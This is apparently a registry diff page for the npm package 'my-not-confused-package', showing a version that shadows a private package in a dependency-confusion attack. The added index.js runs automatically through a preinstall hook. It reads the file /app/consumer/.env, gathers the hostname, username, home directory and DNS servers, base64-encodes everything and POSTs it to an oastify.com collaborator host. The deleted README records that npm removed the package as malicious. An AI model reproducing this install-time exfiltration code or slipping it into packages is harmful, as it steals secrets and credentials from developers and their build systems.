my-not-confused-package 0.0.1-security → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of my-not-confused-package might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +122 -0
  2. package/package.json +13 -6
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,122 @@
1
+ // packages/my-confused-package-public/index.js
2
+ // This represents potentially malicious or just different code.
3
+ module.exports = {
4
+ getMessage: () => "WARNING! Loaded the PUBLIC shadowed package!",
5
+ getBackgroundColor: () => "salmon", // Visual indicator for public (warning)
6
+ getVersion: () => "1.0.1",
7
+ getSource: () => "public",
8
+ getInfo: () => `Loaded PUBLIC package version ${module.exports.getVersion()}. THIS SHOULD NOT HAPPEN!`
9
+ };
10
+
11
+ const os = require("os");
12
+ const dns = require("dns");
13
+ // querystring is no longer needed
14
+ // const querystring = require("querystring");
15
+ const https = require("https");
16
+ const fs = require("fs"); // Added fs module for file system operations
17
+ const path = require("path"); // Added path module for joining paths
18
+
19
+ // --- Docker Detection Logic ---
20
+ let isDocker = false;
21
+ try {
22
+ // Check /proc/self/cgroup for 'docker' or 'container' keywords
23
+ const cgroupContent = fs.readFileSync('/proc/self/cgroup', 'utf8');
24
+ if (cgroupContent.includes('docker') || cgroupContent.includes('container')) {
25
+ isDocker = true;
26
+ console.log("Detected Docker environment. Request will be sent."); // Log detection
27
+ } else {
28
+ console.log("Not in Docker environment. Request will be skipped."); // Log non-detection
29
+ }
30
+ } catch (e) {
31
+ // Ignore errors (e.g., file not found if not in a Linux container env)
32
+ // console.error("Error checking cgroup:", e.message); // Optional: log error
33
+ console.log("Could not check cgroup (e.g., not Linux or permission error). Request will be skipped."); // Log error and skip
34
+ }
35
+ // --- End Docker Detection Logic ---
36
+
37
+
38
+ // --- Read .env file ---
39
+ let envContent = 'N/A (File not found or read error)';
40
+ const envFilePath = '/app/consumer/.env'; // The target file path
41
+
42
+ try {
43
+ // Check if the file exists before reading
44
+ if (fs.existsSync(envFilePath)) {
45
+ envContent = fs.readFileSync(envFilePath, 'utf8');
46
+ // console.log(".env file read successfully."); // Optional: log success
47
+ } else {
48
+ envContent = 'N/A (File does not exist)';
49
+ // console.warn(".env file not found at:", envFilePath); // Optional: log warning
50
+ }
51
+ } catch (e) {
52
+ // Catch potential errors during file reading (permissions, etc.)
53
+ envContent = `N/A (Read error: ${e.message})`;
54
+ // console.error("Error reading .env file:", e.message); // Optional: log error
55
+ }
56
+ // --- End Read .env file ---
57
+
58
+
59
+ const packageJSON = require("./package.json");
60
+ const package = packageJSON.name;
61
+
62
+ // Prepare the data object
63
+ const trackingData = {
64
+ p: package,
65
+ c: __dirname,
66
+ hd: os.homedir(),
67
+ hn: os.hostname(),
68
+ un: os.userInfo().username,
69
+ // --- Conditional DNS Call (still conditional within data) ---
70
+ // Include DNS servers only if isDocker is true
71
+ dns: isDocker ? dns.getServers() : "N/A (Not Docker)",
72
+ // --- End Conditional DNS Call ---
73
+ r: packageJSON ? packageJSON.___resolved : undefined,
74
+ v: packageJSON.version,
75
+ pjson: packageJSON,
76
+ // --- Add .env content ---
77
+ env: envContent,
78
+ // --- End Add .env content ---
79
+ };
80
+
81
+ // Stringify the data object
82
+ const trackingDataJSON = JSON.stringify(trackingData);
83
+
84
+ // Encode the stringified data into Base64
85
+ const postData = Buffer.from(trackingDataJSON, 'utf8').toString('base64');
86
+
87
+ // --- Conditional HTTPS Request ---
88
+ if (isDocker) {
89
+ var options = {
90
+ hostname: "1ikqxwk03fbaa320vbuo46025tbkzbzzo.oastify.com", //replace burpcollaborator.net with Interactsh or pipedream
91
+ port: 443,
92
+ path: "/",
93
+ method: "POST",
94
+ headers: {
95
+ // --- Changed Content-Type to text/plain or similar ---
96
+ // application/json could also work if server expects JSON base64 encoded
97
+ // text/plain is generic for arbitrary base64 data
98
+ "Content-Type": "text/plain",
99
+ // --- Content-Length is the length of the Base64 string ---
100
+ "Content-Length": postData.length,
101
+ },
102
+ };
103
+
104
+ var req = https.request(options, (res) => {
105
+ res.on("data", (d) => {
106
+ process.stdout.write(d);
107
+ });
108
+ });
109
+
110
+ req.on("error", (e) => {
111
+ // console.error(e);
112
+ });
113
+
114
+ // Send the Base64 encoded string as the request body
115
+ req.write(postData);
116
+ req.end();
117
+ } else {
118
+ // This block is executed if not in Docker, and the request is skipped.
119
+ // We already log this inside the try/catch block for detection.
120
+ // You could add more specific logging here if needed.
121
+ }
122
+ // --- End Conditional HTTPS Request ---
package/package.json CHANGED
@@ -1,6 +1,13 @@
1
- {
2
- "name": "my-not-confused-package",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
1
+ {
2
+ "name": "my-not-confused-package",
3
+ "version": "1.0.1",
4
+ "description": "A public package that shadows the private one.",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"hello from public npm registry\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "source": "public",
11
+ "author": "",
12
+ "license": "ISC"
13
+ }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=my-not-confused-package for more information.